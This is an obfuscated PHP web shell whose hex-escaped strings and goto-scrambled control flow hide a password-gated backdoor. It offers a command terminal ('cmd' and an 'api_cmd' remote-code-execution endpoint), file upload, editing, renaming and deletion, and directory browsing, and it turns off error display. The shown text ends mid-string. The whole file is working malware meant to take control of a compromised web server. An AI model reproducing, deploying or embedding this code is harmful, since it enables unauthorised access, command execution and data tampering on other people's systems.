PCwLF: m0WTm: goto yM8sT; kBzbk: Yj2Fc: goto CxK2X; lLsAt: goto JFCI1; goto d_Vd4; tFFZc: w03LK: goto L6VMa; cHsgE: PlzYt: goto gzMOh; QdtLk: if (!(($CyVUb & 0x2000) == 0x2000)) { goto zxygA; } goto E9xDJ; wCndH: LldiY: goto Hla8G; Ru3DD: goto TcgDh; goto g1pqG; oQExE: Ybw7l: goto yjMcC; gAtqB: goto TcgDh; goto t4A35; tXHYp: TnN6R: goto omE98; xG32b: Pf_Wb: goto oOxPv; xN_63: return $ZA66V; goto GfdBO; o9Phk: k3XD4: goto o583X; lRgre: goto A615P; goto nkqCo; i5f77: $ZA66V .= $CyVUb & 0x100 ? "\x72" : "\x2d"; goto G8EbR; mAy8E: vK_YG: goto yixNc; rhB9v: ZeZmx: goto JoBl9; wJ7Zs: goto PlzYt; goto dxSbD; Tgxjd: $ZA66V .= $CyVUb & 0x8 ? $CyVUb & 0x400 ? "\163" : "\x78" : ($CyVUb & 0x400 ? "\123" : "\55"); goto IAaH_; Bijv5: goto TcgDh; goto BME10; ky1a6: pZQlU: goto AXMhB; Vshwm: Qwn6s: goto rg_dd; gzMOh: $ZA66V .= $CyVUb & 0x1 ? $CyVUb & 0x200 ? "\x74" : "\x78" : ($CyVUb & 0x200 ? "\124" : "\55"); goto eB1Fp; dxSbD: obeTs: goto xN_63; RdLlx: if (!(($CyVUb & 0x4000) == 0x4000)) { goto aX9vT; } goto mYXDW; gItZ8: goto mHVW1; goto uXrZJ; ofKsN: goto f_t9c; goto NFZPZ; HLige: goto I8mqK; goto LaCA5; L6VMa: RNKUw: goto UiOws; jGl4u: uSlea: goto gNUzI; eQPX4: YSTg6: goto CtpR6; AXMhB: TcgDh: goto lRgre; rg_dd: $ZA66V = "\x6c"; goto rJ325; JZfkr: goto in2gE; goto do0Lj; nkqCo: A615P: goto i5f77; uXrZJ: ttV2g: goto gQT1G; t4A35: goto k3XD4; goto rhB9v; fep5m: goto I27wE; goto aptc3; ajk_A: $ZA66V .= $CyVUb & 0x20 ? "\x72" : "\55"; goto gItZ8; le4fO: K_02g: goto Bijv5; ntnJK: $ZA66V = "\144"; goto mSJ1Y; MmPrd: goto Pf_Wb; goto OEp6w; NiVYc: goto Qwn6s; goto cHsgE; omE98: $ZA66V = "\x70"; goto DPDsv; rGceY: C20Mh: goto FuAk8; c1nPR: $ZA66V .= $CyVUb & 0x80 ? "\x77" : "\55"; goto gDz72; gQT1G: goto TcgDh; goto vRy19; sYXCO: goto x8Srg; goto le4fO; bzl5r: nTaa1: goto vX_zB; hWgDF: MRjuV: goto IMMFC; i6Qd7: goto RNKUw; goto mAy8E; cIPXU: x456f: goto UFprM; RhIjH: goto jYMTV; goto kyEUN; UiOws: goto TnN6R; goto tKgbr; gNUzI: goto NfTCs; goto ky1a6; BME10: goto hjF60; goto ZufN1; MNWao: z5cFG: goto AqL_L; tuDIG: $ZA66V = "\165"; goto k9dWQ; E9xDJ: goto YSTg6; goto PhBIC; ascIF: NSUvO: goto kDPgT; kDPgT: $ZA66V = "\x2d"; goto lWRd7; XoaiH: JFCI1: goto PtnmO; yixNc: goto nLGZg; goto T38Hs; yM8sT: $ZA66V = "\x62"; goto ZyY9Q; Ht34H: goto w03LK; goto dllWe; kyEUN: in2gE: goto ntnJK; AqL_L: if (!(($CyVUb & 0x8000) == 0x8000)) { goto BR_3n; } goto e4R9r; mawAD: goto ttV2g; goto wCndH; k9dWQ: goto K_02g; goto MBjTf; vRy19: goto wYGHj; goto rGceY; NFZPZ: mHVW1: goto xCpM7; Uul6K: goto Qs_wW; goto kBzbk; RE22Z: o23TQ: goto PO_0a; Hla8G: goto TcgDh; goto lLsAt; mSJ1Y: goto ZeZmx; goto tXHYp; JoBl9: goto TcgDh; goto UxUkb; cF0qd: goto m0WTm; goto oQExE; t8zB3: n1GUv: goto NiVYc; gayYw: goto uSlea; goto XhO72; vX_zB: $ZA66V .= $CyVUb & 0x40 ? $CyVUb & 0x800 ? "\163" : "\170" : ($CyVUb & 0x800 ? "\123" : "\55"); goto Q1_MP; puH22: if (!(($CyVUb & 0xc000) == 0xc000)) { goto Yp0FD; } goto gayYw; lWRd7: goto LldiY; goto xG32b; aptc3: NfTCs: goto VdEvQ; mYXDW: goto S6sfo; goto zHVVQ; nIkxi: wYGHj: goto t8zB3; xldnL: if (!(($CyVUb & 0x1000) == 0x1000)) { goto vK_YG; } goto i6Qd7; UFprM: $ZA66V .= $CyVUb & 0x2 ? "\167" : "\x2d"; goto wJ7Zs; o583X: S6sfo: goto JZfkr; UxUkb: goto MlhG2; goto o9Phk; uzHPZ: jYMTV: goto XWj6Q; PO_0a: OtzeG: goto MuKeA; PtnmO: Qs_wW: goto cF0qd; BS7S9: goto z5cFG; goto XoaiH; MuKeA: goto NSUvO; goto xheyB; yjMcC: $ZA66V = "\x63"; goto MmPrd; qUxJh: hjF60: goto jGl4u; JVsN0: if (!(($CyVUb & 0xa000) == 0xa000)) { goto NNiVU; } goto N2dFF; do0Lj: JLuWx: goto RdLlx; bFbld: goto vTwMW; goto d61G3; XWj6Q: if (!(($CyVUb & 0x6000) == 0x6000)) { goto Yj2Fc; } goto Uul6K; dllWe: MlhG2: goto eQPX4; e4R9r: goto OtzeG; goto cUgQF; N2dFF: goto n1GUv; goto TYGtE; LaCA5: f_t9c: goto xldnL; DPDsv: goto pZQlU; goto qUxJh; MBjTf: QOOzc: goto puH22; tKgbr: nLGZg: goto tuDIG; g1pqG: goto o23TQ; goto RE22Z; FuAk8: } goto jsNnf; qwNKO: $MYb6O = "\125\x70\154\157\141\144\40\117\x4b\x3a\x20" . $_FILES["\146"]["\156\x61\155\x65"]; goto tF8mV; DZInm: goto VlGfl; goto LQSPR; CJE_3: @ini_set("\x64\x69\163\160\x6c\141\171\x5f\x65\x72\162\x6f\162\163", 0); goto cjIyE; x0ROH: goto JyvmS; goto Ac2v2; Soh9W: goto v8wQn; goto p7XPE; spktr: if (!isset($_GET["\145\x64\151\x74"])) { goto NUtsb; } goto z9b7H; ZMW_C: goto MB5qG; goto N9fYc; Cy71B: xJ0bP: goto i3MWm; SFU11: xs85s: goto UkKbM; KjQxX: kXPxG: goto DOe_c; MsQ9X: $MYb6O = "\x52\x65\156\141\x6d\145\x64\41"; goto PwFs5; Cvnjw: session_start(); goto TkMB5; zlvlU: goto lz0td; goto SFU11; gxTQ0: opc_r: goto gjQRA; pV6I4: ghBb4: goto a17d0; wcQzK: goto DgNoO; goto XdDry; ESEW4: zBYH6: goto rDKKO; ixnlP: SyOEn: goto x0ROH; WHhsU: BJULX: goto AoTK2; arXfC: EL3en: goto dVJ_E; zi__C: echo "\x3c\144\x69\x76\40\x63\x6c\141\x73\163\x3d\x27\156\x61\166\x27\76\74\146\157\162\x6d\40\x6d\x65\x74\150\157\x64\75\47\160\x6f\163\164\x27\40\141\143\x74\151\x6f\156\75\x27\77\144\75{$MUQak}\47\x3e\x54\145\x72\x6d\151\156\x61\154\x3a\x20\x3c\x69\x6e\x70\165\164\40\164\171\x70\x65\75\47\x74\x65\170\x74\x27\x20\x6e\x61\x6d\x65\75\47\x63\x6d\144\x27\x20\163\x69\x7a\x65\75\47\x38\x30\x27\x20\141\x75\x74\x6f\146\157\143\x75\x73\40\x70\154\x61\143\x65\150\x6f\x6c\144\x65\x72\75\x27\x77\x68\x6f\x61\x6d\151\x27\x3e\40\x3c\151\156\x70\x75\164\x20\164\x79\160\145\x3d\47\163\165\x62\155\151\x74\47\40\x76\141\x6c\x75\145\x3d\x27\105\170\x65\x63\165\x74\145\x27\76\74\57\x66\x6f\x72\x6d\76\x3c\57\x64\151\166\76"; goto rHAgM; QvNYd: DFj1U: goto MXvf_; FLGLb: goto xs85s; goto E9qb_; wRA5i: G97Nw: goto p3JeQ; rw248: chJy_: goto WSepu; qYqjm: goto kXPxG; goto KjQxX; UbYvB: $sAfJX = true; goto fYy4i; E9qb_: h_1h4: goto bNBUJ; G5cBp: goto XalpH; goto yPs0k; vUejD: goto PzqOR; goto QvNYd; bNaVj: goto U6M4E; goto YnLM8; Fk3B8: jz_v5: goto ZUOyU; cjIyE: goto uzw2q; goto H3h7v; XUiAf: echo "\104\61\63\63\x37\x5f\x52\x43\x45\x5f\123\x54\x41\x52\124\xa"; goto VI7wq; HOr_t: j2IvC: goto HLs0p; W99GJ: xcRp0: goto Dmz_n; wUpNV: goto EpksY; goto z7ZvQ; n3iYw: goto xlbWg; goto hZe_b; IM6yR: W1tn_: goto nYMER; zgfgi: goto yLLBi; goto tq_6c; zS2P7: echo "\74\x2f\144\151\166\76"; goto qYqjm; bNBUJ: echo "\x3c\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\47\156\141\166\47\x3e\120\x61\x74\x68\72\40"; goto hQ7s9; qGfqW: Rx1nx: goto BriSH; YIUrc: ylpkY: goto SvynS; Mwekp: Sbw6V: goto I_FEa; Dla13: $MYb6O = "\106\x69\x6c\x65\40\x53\141\166\145\x64\x21"; goto zgfgi; tq_6c: iztyJ: goto eYA4S; egspn: yd6Ig: goto ZpBgH; YnLM8: HyDR8: goto mBqBf; lNpM0: goto KLPwL; goto SGbJo; t_Cqt: if (isset($_GET["\154\x6f\x67\x6f\x75\x74"])) { goto hW62i; } goto k3Dn_; dEAkR: goto G97Nw; goto pTB_v; B6D6B: goto U_EPR; goto EnTZn; VWFDp: LkrRE: goto yOWA6; y6rbG: r1sNM: goto MhHYm; PwFs5: goto eHOvD; goto sfuAG; fkjJi: goto TZ2W_; goto ovhRi; gPId2: goto hV1iG; goto UMLA0; qjqom: goto r1sNM; goto c9VaS; cckBo: GR8Zr: goto M_Yrp; nTIEv: $bGOR9 = ''; goto NkGvF; BI1Am: goto VDSa1; goto sXtHv; ZpBgH: goto Hg1Sv; goto jsvMZ; MXW3b: goto DzfbB; goto L5FVm; nN4qn: goto DFsD3; goto ESEW4; q1Zfs: goto EBj3f; goto WHhsU; St9h6: goto udMZ_; goto pAc8h; NkGvF: goto d4lYJ; goto WCXGN; mJD0V: JLg4q: goto EA8n0; Yv1Wh: uda8l: goto zS2P7; rK7DY: eKm7j: goto yDq4s; JcEdQ: goto ghBb4; goto XJ0bW; CxdaI: PzqOR: goto uW59q; jsNnf: goto X6HYu; goto KYUNb; z7ZvQ: KLPwL: goto cafE8; c05Kw: c2lbS: goto gk8In; yOWA6: if (!isset($_SESSION["\x64\x31\63\x33\67\x5f\141\x75\x74\x68"])) { goto U5mvo; } goto BriYQ; Ppawv: jC3aR: goto Yfjl6; ZZGKA: goto m2uI_; goto CbbGC; Hgoa7: $iyHa0 = scandir($MUQak); goto ZZGKA; GYyyt: $MYb6O = "\x46\151\154\145\40\104\145\154\x65\164\145\x64"; goto fkjJi; ZoTS6: goto L0b85; goto EuBc8; M_4X5: if (isset($_POST["\x61\160\151\x5f\x63\x6d\144"])) { goto SyOEn; } goto kEPC8; FEbjw: CnX3P: goto RDUOE; G5f62: goto h_1h4; goto zAJL9; zufHs: goto BJULX; goto rrh30; dVJ_E: error_reporting(0); goto ZMW_C; NYIHr: goto ZCOPc; goto Y_xuj; HyCz2: $_SESSION["\144\61\x33\63\67\x5f\x61\165\164\x68"] = true; goto RZReG; vql_H: goto J0aZd; goto bf30x; AJZ4T: goto GZZ9o; goto es3wC; iRdkR: LrxJb: goto t_Cqt; cHQ1B: echo "\12\104\x31\x33\x33\x37\x5f\122\x43\105\x5f\x45\x4e\x44"; goto H4_dc; hPspJ: goto ARL5b; goto FEbjw; pVU1K: goto JLg4q; goto M0E12; CPDjg: J0aZd: goto m_ECJ; IsNMg: NHt_5: goto Ytguj; RZReG: goto m98k2; goto T8fUd; Ytguj: $Z8l5e = explode("\57", $MUQak); goto vc2yR; hQ7s9: goto NHt_5; goto ZVW6J; M0E12: DgNoO: goto MsQ9X; WrJhA: goto eKm7j; goto nu_Th; COoVj: TZ2W_: goto RCBya; pAc8h: NSFLT: goto AKFCE; Z5Rc3: U6M4E: goto q1Zfs; CgzBv: goto ZkfRz; goto atVdn; Z2MRe: FrpYn: goto kyXFT; T8fUd: X6HYu: goto dPF_1; pAnJu: goto uda8l; goto Yv1Wh; eefhc: die; goto Bw8mb; DMsyc: d4lYJ: goto KQXIT; hreWf: goto liTF0; goto YKCsT; Jq3fT: eHOvD: goto CxdaI; PSrlP: goto zhUxv; goto thdp4; zOLle: XjX92: goto dyDbe; ovhRi: liTF0: goto Dla13; xKoM3: goto F1h4a; goto POAUS; SpH2p: m2uI_: goto zpb07; Yno9z: zThkc: goto lbN9d; F_0C8: goto Mwzc7; goto Jq3fT; xZRfP: VDSa1: goto UtDN0; bf30x: v0ghJ: goto Wsb96; kSIVK: session_destroy(); goto YqtIs; AoTK2: Qe5CT: goto JcEdQ; DOe_c: echo "\x3c\x2f\142\157\144\171\x3e\74\x2f\x68\164\x6d\154\76"; goto B17dd; zfOn_: goto Qe5CT; goto zOLle; m_ECJ: $POGIN = $_GET["\144\x65\x6c"]; goto fgUqu; p3ja4: rename($_GET["\162\x65\x6e"], $MUQak . "\x2f" . $_POST["\156\x65\x77\137\156\x61\x6d\x65"]); goto wcQzK; EJnGF: goto Lt1Me; goto Fk3B8; iqAB0: goto fh00u; goto qGfqW; gnQKp: HGmq6: goto qflr3; NCD3S: goto ylpkY; goto CPDjg; oI2Cp: FbWH6: goto C3iG9; ulSvZ: goto ofd8p; goto AwFep; gjQRA: goto llFEc; goto Cy71B; YMe2p: $gjrdj = basename($_GET["\162\x65\156"]); goto YfaOC; vQ3Lj: iGQZP: goto AJZ4T; rrh30: JGX1L: goto Fd7FU; iBjjU: echo "\x3c\x68\63\x3e\x45\144\151\164\x3a\40{$gjrdj}\x3c\x2f\x68\x33\x3e\74\146\x6f\x72\x6d\40\155\x65\164\x68\x6f\x64\75\47\160\157\163\x74\47\40\x61\143\164\151\157\156\x3d\x27\77\x64\x3d{$MUQak}\46\x65\x64\151\164\x3d{$gjrdj}\x27\76\x3c\164\x65\x78\164\141\x72\x65\141\x20\x6e\x61\155\x65\x3d\47\x66\x69\154\145\137\x63\x6f\156\x74\x65\x6e\164\x27\x20\163\164\x79\x6c\x65\x3d\x27\167\x69\x64\164\x68\x3a\x31\x30\60\x25\73\x68\x65\x69\x67\150\x74\72\x35\60\x30\160\x78\73\47\76" . htmlspecialchars(file_get_contents($gjrdj)) . "\x3c\57\164\x65\x78\164\x61\x72\x65\141\x3e\x3c\x62\x72\x3e\x3c\x62\x72\76\x3c\x69\x6e\x70\x75\x74\x20\x74\171\160\145\x3d\x27\x73\x75\142\155\151\x74\x27\x20\x76\141\154\165\x65\x3d\47\x53\141\166\145\x20\106\151\154\145\47\76\x20\74\141\x20\150\x72\x65\x66\75\x27\x3f\144\x3d{$MUQak}\47\x3e\133\103\x61\x6e\143\x65\154\135\74\57\x61\x3e\x3c\57\x66\157\162\155\76"; goto LTDM6; yuTFQ: goto UPtWd; goto rbHfV; WCXGN: Sk65P: goto FpUU3; WSepu: goto ZHzLd; goto SpH2p; cSFSk: goto zBYH6; goto fLmug; TkMB5: goto EL3en; goto flgUb; ZVW6J: v8wQn: goto C2EGf; Ac2v2: P1FHE: goto PIBl9; ms1jI: XalpH: goto OMZmE; C2EGf: $sAfJX = false; goto a_8aG; g0jQ9: echo "\50\xe2\x99\241\313\x99\xef\270\xb6\xcb\x99\342\231\xa1\51\50\342\231\xa1\xcb\231\357\270\266\313\231\xe2\231\241\x29\xe9\x97\xb2\xe6\235\245\xe6\xb4\273\350\xae\xa1\xe6\x9c\252\345\x85\250\347\226\217\343\200\202\346\x9c\x88\350\xbe\271\xe6\xb8\224\357\274\x8c\351\233\xa8\350\xbe\271\351\x94\x84\343\x80\x82\350\212\xb1\345\272\225\351\xa3\x8e\346\235\xa5\357\xbc\x8c\345\x90\xb9\xe4\271\261\xe8\xaf\xbb\xe6\xae\x8b\xe4\xb9\xa6\343\x80\x82\350\260\x81\345\224\244\344\xb9\x9d\345\216\237\xe6\221\xa9\xe8\257\230\350\xb5\267\357\xbc\x8c\345\x87\255\347\x94\xbb\344\xbd\x9c\xe3\x80\201\345\200\246\346\270\xb8\xe5\233\276\xe5\215\x83\346\x9c\xac\343\x81\xae\346\x9f\263\343\201\256\xe6\x9e\235\343\x81\x8c\345\204\252\343\201\227\343\201\217\xe6\x8f\272\343\202\214\xe3\202\x8b\xe3\200\202\343\202\253\xe3\x83\xa9\343\202\271\xe3\201\256\xe9\263\xb4\xe3\x81\x8d\xe5\xa3\260\343\x81\214\351\237\277\xe3\x81\x8f\345\xa0\264\xe6\211\x80\xe3\201\xab\xe3\x80\x81\346\x9f\224\xe3\x82\211\xe3\x81\213\343\x81\252\351\xbb\204\350\x89\262\xe3\x81\256\350\x89\262\345\x90\210\xe3\x81\x84\xe3\201\x8c\xe5\x9d\207\347\255\211\xe3\x81\253\345\272\203\343\x81\x8c\xe3\x82\x8b\343\200\202\xe7\265\271\xe3\x81\xae\350\xa1\243\xe3\201\xab\xe3\201\xb2\xe3\202\223\xe3\202\x84\xe3\202\x8a\343\x81\xa8\343\201\x97\343\201\x9f\xe7\xa9\xba\xe6\xb0\x97\xe3\x81\x8c\xe6\x9f\x93\xe3\201\277\350\276\xbc\343\x82\x80\343\x80\202\351\xa2\250\351\233\250\343\x81\x8c\345\x90\271\xe3\x81\215\350\x8d\222\343\x82\214\xe3\201\237\xe5\276\214\343\200\x81\346\x98\xa5\343\201\257\343\x81\xbe\xe3\x81\240\xe5\xa7\x8b\xe3\201\xbe\xe3\201\243\xe3\201\x9f\xe3\x81\xb0\xe3\201\213\xe3\202\x8a\343\x81\240\343\x80\202\xe3\x83\x84\xe3\x83\x90\343\203\241\343\x81\x9f\xe3\201\241\343\x81\257\xe3\x81\x84\xe3\201\244\346\210\xbb\343\x81\xa3\343\201\xa6\343\201\217\343\x82\x8b\xe3\201\xae\343\201\240\343\202\215\343\x81\x86\357\xbc\237\347\267\221\343\201\xae\346\260\xb4\346\xa9\213\xe3\201\xae\xe3\201\x9d\xe3\x81\xb0\xe3\x81\256\xe5\260\217\xe9\201\x93\xe3\x82\x92\xe3\x80\202\50\x20\xe0\xb0\266\x20\x33\xe0\251\x9c\51\357\xbd\x9e\xe2\231\xa5\50\x20\xe0\xb0\xb6\40\63\xe0\xa9\x9c\x29\357\275\236\xe2\x99\245\x28\40\342\x99\xa5\xd0\xb4\xe2\231\245\51"; goto l2czG; kEPC8: goto opc_r; goto ixnlP; fgUqu: goto Rx1nx; goto zXJpq; c9VaS: goto l2byp; goto COoVj; eqpMf: echo "\x3c\150\x33\x3e\x52\145\x6e\x61\155\145\x3a\40{$gjrdj}\74\57\150\63\x3e\x3c\146\x6f\x72\x6d\40\155\x65\x74\150\157\144\75\47\x70\157\x73\164\47\40\x61\x63\164\x69\157\156\x3d\47\x3f\144\x3d{$MUQak}\x26\162\145\x6e\75" . $_GET["\162\x65\x6e"] . "\47\x3e\x3c\x69\x6e\x70\x75\164\40\x74\171\160\x65\x3d\x27\164\145\170\x74\x27\x20\x6e\141\155\145\75\47\x6e\145\167\x5f\156\x61\155\145\x27\40\166\141\154\165\145\75\x27{$gjrdj}\x27\40\163\151\172\x65\75\x27\65\x30\47\76\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\x3d\47\x73\x75\x62\155\151\x74\47\x20\x76\x61\154\x75\x65\x3d\47\122\x65\156\141\x6d\145\47\x3e\40\74\141\x20\x68\162\x65\146\75\47\77\x64\x3d{$MUQak}\47\x3e\133\103\x61\156\x63\x65\154\x5d\74\57\x61\x3e\74\57\146\x6f\x72\155\76"; goto u9Voa; Wsb96: if (isset($_POST["\x63\x6d\144"])) { goto NazPR; } goto o_A8V; zAJL9: uzw2q: goto npcP6; K57cQ: goto V6abi; goto NHp_s; wU3ji: H1DyH: goto rLpfH; vMh3Q: DuD0x: goto d1n9t; vCnKc: goto AzyWf; goto xZRfP; SwR_a: goto yd6Ig; goto r4jiq; YTtoe: ze32z: goto ceS6D; B72VH: NWxe7: goto kSIVK; NHp_s: Zbecv: goto FIXzq; g3nsD: goto dpqay; goto wRA5i; Twy0v: lUCSm: goto xKoM3; FpUU3: w7Gri: goto n3iYw; vc2yR: goto F2Z1x; goto Of4ph; r4jiq: uencR: goto MXW3b; atVdn: Slfhz: goto hcNvI; vPWe5: goto FgO1g; goto zFAcF; X4Ar6: XztRG: goto SBVaC; yhEdU: goto H1DyH; goto LXsBF; MYA0L: goto TizST; goto arXfC; lJpOy: echo "\x3c\57\x68\145\141\x64\76\74\x62\x6f\x64\171\76"; goto zlvlU; uyJuH: goto G25VS; goto YTtoe; eYA4S: goto r1sNM; goto wUpNV; N9fYc: FgO1g: goto kFD0c; MQY52: D5g3G: goto q1w7a; YKCsT: VlGfl: goto fmcmq; q1w7a: F1h4a: goto B6D6B; IPFXH: chdir($MUQak); goto zufHs; NU2RT: unlink($POGIN); goto MYA0L; XNvyT: xJ4EO: goto Cvnjw; YfaOC: goto fpUJc; goto pV6I4; UkKbM: foreach ($iyHa0 as $Gpz_x) { goto FzcyZ; na0Wl: m1rkY: goto DjAFs; LHBD2: dlYMF: goto P43TB; raNOk: goto J16rz; goto qQCtL; dhixX: Mi5fp: goto l7at3; OkWgv: tUxT2: goto ArDaE; ZBylY: goto Mi5fp; goto dhixX; sUhIy: goto tUxT2; goto OkWgv; GrYYO: GMd1A: goto BXmqE; cgeJe: XzLjA: goto na0Wl; PRgGC: goto t65GX; goto GrYYO; o52I2: t65GX: goto Vyqdn; l7at3: TXzUz: goto tGo9t; Vyqdn: goto TXzUz; goto Qs0vC; ArDaE: $ZgaSj = "\x3f\144\x3d{$MUQak}\x2f{$Gpz_x}"; goto ZfQWt; ffsjl: kYvaU: goto RA0jL; bwB0f: nl4dr: goto htSgf; yuLPJ: goto dlYMF; goto LHBD2; BXmqE: J16rz: goto sUhIy; qQCtL: Zbttq: goto PRgGC; P43TB: echo "\x3c\x74\162\76\74\164\x64\76\133\x44\111\122\x5d\x20\x3c\141\x20\150\162\145\146\x3d\47{$ZgaSj}\47\76{$Gpz_x}\74\x2f\141\x3e\74\57\x74\144\x3e\x3c\164\144\76\x2d\x3c\x2f\x74\144\x3e\74\164\x64\76{$Wm197}\x3c\x2f\x74\x64\x3e\74\164\x64\76\x3c\141\x20\x68\162\145\146\75\x27\77\x64\75{$MUQak}\x26\162\145\156\75{$MUQak}\x2f{$Gpz_x}\x27\x3e\122\145\x6e\x61\x6d\145\x3c\x2f\141\x3e\40\174\x20\x3c\141\x20\150\x72\x65\146\75\x27\x3f\144\x3d{$MUQak}\x26\144\145\x6c\75{$MUQak}\x2f{$Gpz_x}\x27\x3e\x44\145\x6c\x65\x74\145\74\57\141\76\74\57\164\x64\76\74\x2f\x74\162\76"; goto ZBylY; FzcyZ: goto kYvaU; goto bwB0f; tGo9t: goto XzLjA; goto o52I2; htSgf: $Wm197 = hqRco($MUQak . "\x2f" . $Gpz_x); goto yuLPJ; ZfQWt: goto nl4dr; goto cgeJe; Qs0vC: goto GMd1A; goto ffsjl; RA0jL: if (!is_dir($MUQak . "\x2f" . $Gpz_x) || $Gpz_x == "\56") { goto Zbttq; } goto raNOk; DjAFs: } goto oI2Cp; UtDN0: goto r1sNM; goto K57cQ; XpY3Y: yLLBi: goto Z5Rc3; VI7wq: goto Slfhz; goto UKt_d; Bw8mb: goto E5gHn; goto Mwekp; xuxdE: uWk1c: goto L9xN4; Of4ph: ZHzLd: goto UbYvB; QXUet: jF9jl: goto jViQO; o_A8V: goto ZE5Zx; goto RWs0A; Tv10Z: if (isset($_FILES["\146"])) { goto ze32z; } goto uyJuH; yqCLM: fh00u: goto YvHbX; HLs0p: u1yjN: goto onpFT; KT8Rb: goto pJBnG; goto t5cDI; ftqG1: goto vTYkE; goto B72VH; cr3Nv: zwXt9: goto BI1Am; tF8mV: goto j2IvC; goto RczNU; nu_Th: DzfbB: goto NU2RT; aCD1I: zhUxv: goto CcF64; kFD0c: if (!(isset($_POST["\x70\141\x73\163"]) && md5($_POST["\x70\x61\x73\x73"]) == $mry9b)) { goto jz_v5; } goto EJnGF; L9xN4: die; goto lyCpj; tOUD1: goto c2lbS; goto DMsyc; pCJRO: goto jC3aR; goto xuxdE; OxcVE: fpUJc: goto eqpMf; hm6ut: iSJzH: goto pVU1K; nVGtq: Lt1Me: goto w33Le; yLVWs: goto ekPGE; goto Y1WQ5; hcNvI: echo AJHgt($_POST["\141\x70\151\x5f\143\155\144"]); goto g3nsD; rbHfV: TizST: goto GYyyt; LEmMZ: hW62i: goto Kgbtf; lyCpj: goto SnK1y; goto qJ39f; M_Yrp: goto xcRp0; goto VWFDp; CJaqW: goto snwz9; goto IsNMg; rLpfH: echo "\74\x2f\x64\x69\166\76"; goto A0P70; DxNRs: ARL5b: goto uoETo; KQXIT: foreach ($Z8l5e as $C1kYB => $XxuWS) { goto Ok243; nFMM4: fAet1: goto YaNWL; M4NV7: $bGOR9 .= "\x2f" . $XxuWS; goto npigd; lX0Rn: goto g2q0V; goto Q8HOc; bmbGU: P2R_n: goto ZcAmB; q9DPL: goto VtQ77; goto cr7lD; Qx5fs: VtQ77: goto g9zaf; TArx3: goto VtQ77; goto gZ19C; o5W7l: PDWK4: goto CXj7J; FaFRe: g2q0V: goto TArx3; k_1Ku: AD6mx: goto bmbGU; g9zaf: goto PDWK4; goto o5W7l; CXj7J: hyY5d: goto O9Tct; Q8HOc: iuDKU: goto v9Bp9; myKAQ: if ($XxuWS == '') { goto Zk1oA; } goto qheXw; YaNWL: goto FXCd3; goto AJo2k; x10CH: dbAW3: goto q9DPL; h_kzo: if ($XxuWS == '' && $C1kYB == 0) { goto OZQGq; } goto N21_R; AJo2k: Wz8nN: goto h_kzo; N21_R: goto P2R_n; goto dzLJ8; qheXw: goto fAet1; goto PJ2g9; ASckD: F1BOC: goto Qx5fs; Nkp1D: sRsB0: goto nFMM4; npigd: goto rYQXy; goto SBgAO; pxumG: echo "\x3c\x61\x20\x68\x72\145\x66\x3d\47\77\144\x3d{$bGOR9}\47\76{$XxuWS}\74\57\x61\76\57"; goto CrvbC; Ok243: goto Wz8nN; goto k_1Ku; dzLJ8: OZQGq: goto v7m4U; SBgAO: b3djQ: goto myKAQ; qPQIF: FXCd3: goto M4NV7; CrvbC: goto F1BOC; goto x10CH; oF2Tp: goto dbAW3; goto Nkp1D; v7m4U: goto iuDKU; goto tliO1; cr7lD: goto AD6mx; goto FaFRe; gZ19C: goto sRsB0; goto ASckD; tliO1: rYQXy: goto pxumG; v9Bp9: echo "\74\x61\x20\150\162\x65\146\x3d\47\x3f\x64\x3d\x2f\x27\76\57\74\57\141\76"; goto oF2Tp; ZcAmB: goto b3djQ; goto qPQIF; PJ2g9: Zk1oA: goto lX0Rn; O9Tct: } goto cckBo; pRozk: goto jF9jl; goto DxZK9; FIXzq: $MYb6O = "\125\160\x6c\157\x61\x64\40\x46\141\151\154\145\144\x21"; goto lNpM0; a17d0: $MYb6O = ''; goto yuTFQ; thdp4: vcU1u: goto g0jQ9; lbN9d: JtgQo: goto St9h6; flgUb: GZZ9o: goto lUxUm; zpb07: echo "\74\x74\141\x62\x6c\x65\x3e\74\164\x72\x3e\74\x74\150\76\116\x61\155\x65\74\x2f\x74\x68\76\74\164\150\76\123\151\x7a\x65\x3c\57\164\x68\76\x3c\164\150\76\120\145\162\x6d\163\x3c\x2f\x74\x68\76\x3c\164\x68\x3e\101\143\x74\151\x6f\x6e\x3c\x2f\x74\150\76\74\x2f\164\x72\76"; goto FLGLb; tCanx: U5mvo: goto vPWe5; sNNe7: if (isset($_GET["\x64\145\154"])) { goto rTJDr; } goto Ii5jp; a_8aG: goto LkrRE; goto QXUet; npcP6: $mry9b = "\144\64\x38\x39\141\x33\x32\70\x39\x65\143\x64\143\70\x34\x37\143\142\x36\x37\146\x37\x61\x34\x38\x30\x65\x36\146\x39\x66\141"; goto Soh9W; MXvf_: goto y1EKf; goto mx2Wd; POAUS: goto zThkc; goto XNvyT; LTDM6: goto lUCSm; goto Iy70E; KsRoQ: snwz9: goto Hgoa7; t5cDI: mnck2: goto M_4X5; B6S96: echo "\74\163\x74\171\154\145\x3e\x62\x6f\144\171\173\142\x61\143\x6b\147\x72\x6f\x75\156\144\x3a\43\60\142\60\142\x30\x62\x3b\x63\x6f\154\x6f\162\x3a\43\60\x66\x30\x3b\146\157\156\164\x2d\146\141\155\151\154\171\72\155\157\x6e\x6f\x73\x70\x61\x63\145\x3b\146\x6f\x6e\164\x2d\x73\x69\172\145\72\x31\x34\x70\x78\73\155\141\x72\x67\151\x6e\72\x30\x3b\160\141\144\144\x69\156\147\x3a\x32\x30\x70\x78\73\175\x61\173\x63\x6f\x6c\x6f\x72\72\x23\60\146\x30\x3b\164\x65\x78\x74\55\144\145\143\157\x72\x61\x74\x69\157\156\x3a\x6e\x6f\156\145\73\x7d\141\72\150\157\166\145\x72\x7b\x63\157\x6c\157\162\x3a\43\146\146\x66\73\175\151\x6e\x70\x75\x74\x2c\164\145\x78\x74\x61\162\145\141\54\x62\x75\164\x74\157\156\x7b\x62\141\x63\153\x67\x72\157\165\x6e\144\x3a\43\61\61\x31\73\x62\x6f\x72\x64\145\162\72\x31\160\x78\x20\x73\157\154\151\x64\40\43\63\63\x33\73\143\x6f\154\x6f\x72\x3a\43\60\146\x30\x3b\160\141\144\144\151\156\147\x3a\x36\x70\170\73\x7d\x74\x61\142\154\145\173\167\x69\144\164\x68\x3a\61\x30\x30\x25\73\x62\157\x72\144\x65\162\55\x63\x6f\154\154\141\160\x73\x65\72\x63\x6f\x6c\x6c\x61\x70\x73\x65\x3b\x6d\x61\x72\x67\151\x6e\x2d\x74\157\160\x3a\61\x30\160\x78\x3b\x7d\x74\144\x2c\x74\x68\x7b\x70\